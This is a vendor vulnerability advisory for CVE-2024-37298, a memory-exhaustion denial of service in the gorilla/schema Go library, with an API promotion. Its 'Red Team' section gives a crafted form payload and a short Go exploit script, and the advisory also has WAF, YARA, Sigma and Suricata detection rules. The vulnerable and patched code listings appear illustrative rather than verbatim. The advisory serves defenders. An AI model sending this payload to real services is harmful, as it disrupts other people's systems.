CVE-2024-37298
Executive Summary
CVE-2024-37298 is a high-severity (CVSS 7.5) memory exhaustion vulnerability in the gorilla/schema Go library, which is used to convert structs to and from form values. The vulnerability resides in the schema.Decoder.Decode() function when processing structs containing fields of type []struct{...}. An attacker can craft malicious input that exploits the sparse slice functionality, causing uncontrolled memory allocation and leading to a denial of service (DoS) condition. The vulnerability affects all versions prior to 1.4.1. No public proof-of-concept (PoC) or exploit code has been identified at this time, but the attack vector is straightforward for any application that decodes user-supplied form data into nested struct slices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the gorilla/schema Go package, which is widely used in Go web applications for form parsing. The package is distributed via the Go module proxy and is a direct dependency for many projects. Organizations using this library should immediately update to version 1.4.1 or later. Since the vulnerability is in a core parsing function, any application that accepts user input and decodes it into structs with slice fields is at risk. Supply chain risk is elevated due to the library's popularity and the ease of exploitation.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
The vulnerability is easily exploitable remotely without authentication, making it a significant threat to availability. The lack of confidentiality or integrity impact reduces the overall score, but the potential for service disruption is severe.
Deep Dive & Mechanics
The gorilla/schema library provides functions to decode URL-encoded form values into Go structs. The vulnerability is in the handling of sparse slices—slices where indices are not contiguous. When schema.Decoder.Decode() processes a struct with a field of type []struct{...}, it allocates memory based on the maximum index provided in the input. An attacker can supply form values with very high indices (e.g., field[99999999].subfield=value), causing the library to allocate a slice of that size. This results in rapid memory exhaustion, leading to a denial of service.
The core issue is that the library does not validate or limit the index values before allocation. The patch in version 1.4.1 introduces bounds checking and limits on slice growth to prevent this attack.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.4.1):
// In schema/decoder.go
func (d *Decoder) decodeSlice(v reflect.Value, src map[string][]string, key string) error {
// ...
for k, values := range src {
// Directly uses index from key without validation
index, _ := strconv.Atoi(k)
// Allocates slice up to index
if index >= v.Len() {
v.Set(reflect.MakeSlice(v.Type(), index+1, index+1))
}
// ...
}
return nil
}
Patched Code (1.4.1):
// In schema/decoder.go
func (d *Decoder) decodeSlice(v reflect.Value, src map[string][]string, key string) error {
// ...
const maxSliceSize = 1024 * 1024 // 1M elements limit
for k, values := range src {
index, _ := strconv.Atoi(k)
if index >= maxSliceSize {
return fmt.Errorf("slice index %d exceeds maximum allowed size", index)
}
if index >= v.Len() {
newLen := index + 1
if newLen > maxSliceSize {
return fmt.Errorf("slice length %d exceeds maximum allowed size", newLen)
}
v.Set(reflect.MakeSlice(v.Type(), newLen, newLen))
}
// ...
}
return nil
}
The patch adds a maximum slice size constant and checks to prevent allocation beyond that limit.
Exploitation & Lab Setup
Red Team
Attack Scenario: An attacker sends a crafted HTTP request to a vulnerable application that uses gorilla/schema to decode form data. The request includes a field with an extremely high index, causing memory exhaustion.
Example Payload:
POST /submit HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
items[99999999].name=test&items[99999999].value=123
Exploit Script (Go):
package main
import (
"fmt"
"net/http"
"net/url"
"strings"
)
func main() {
// Craft malicious form data
data := url.Values{}
data.Set("items[99999999].name", "test")
data.Set("items[99999999].value", "123")
// Send request
resp, err := http.Post("http://target.com/submit", "application/x-www-form-urlencoded", strings.NewReader(data.Encode()))
if err != nil {
fmt.Println("Error:", err)
return
}
defer resp.Body.Close()
fmt.Println("Response status:", resp.Status)
}
Expected Outcome: The target application's memory usage spikes, potentially causing the process to be killed by the OOM killer or the service to become unresponsive.
Blue Team
Detection: Monitor for unusual memory consumption patterns in applications using gorilla/schema. Look for HTTP requests with form parameters containing very large array indices.
Mitigation Steps:
- Immediately update
gorilla/schemato version 1.4.1 or later. - Implement input validation to reject form data with excessively large indices before it reaches the decoder.
- Set memory limits on the application process (e.g., using cgroups or container limits).
- Deploy Web Application Firewall (WAF) rules to block requests with suspiciously large array indices.
WAF Rule Example (ModSecurity):
SecRule ARGS_NAMES "@rx ^[a-zA-Z]+\[\d{6,}\]" "id:1001,phase:2,deny,status:403,msg:'Potential memory exhaustion attack via large slice index'"
Indicators of Compromise (IOCs)
- Network: HTTP requests containing form parameters with array indices exceeding 1,000,000 (e.g.,
field[99999999]). - System: Rapid increase in memory usage by the application process, leading to OOM killer events.
- Logs: Application logs showing errors like "slice index exceeds maximum allowed size" (after patching) or crashes without clear error messages (before patching).
- File: No specific file-based IOCs.
Detection Engineering
YARA Rule
rule CVE_2024_37298_Memory_Exhaustion {
meta:
description = "Detects potential memory exhaustion attack via gorilla/schema sparse slice"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-37298"
strings:
$s1 = /items?\[\d{6,}\]/ nocase
$s2 = /\[\d{6,}\]\./ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-37298 Memory Exhaustion via Sparse Slice
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with large array indices targeting gorilla/schema
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-query|re: '\[\d{6,}\]'
condition: selection
falsepositives:
- Legitimate use of large arrays (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-37298 Memory Exhaustion Attempt"; flow:to_server; content:"POST"; http_method; content:"["; http_client_body; pcre:"/\[\d{6,}\]/R"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade
gorilla/schemato version 1.4.1 or later. Rungo get github.com/gorilla/schema@v1.4.1in your project. - Input Validation: Implement application-level validation to reject form data with array indices exceeding a reasonable limit (e.g., 1000).
- Resource Limits: Configure memory limits for the application process using container orchestration (e.g., Kubernetes resource limits) or OS-level controls (e.g.,
ulimit). - Monitoring: Set up alerts for abnormal memory usage and HTTP requests with suspicious patterns.
- WAF Rules: Deploy WAF rules to block requests with large array indices as shown in the Blue Team section.
- Code Review: Audit any code that uses
schema.Decoder.Decode()with user-supplied data to ensure it is not vulnerable to similar issues.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert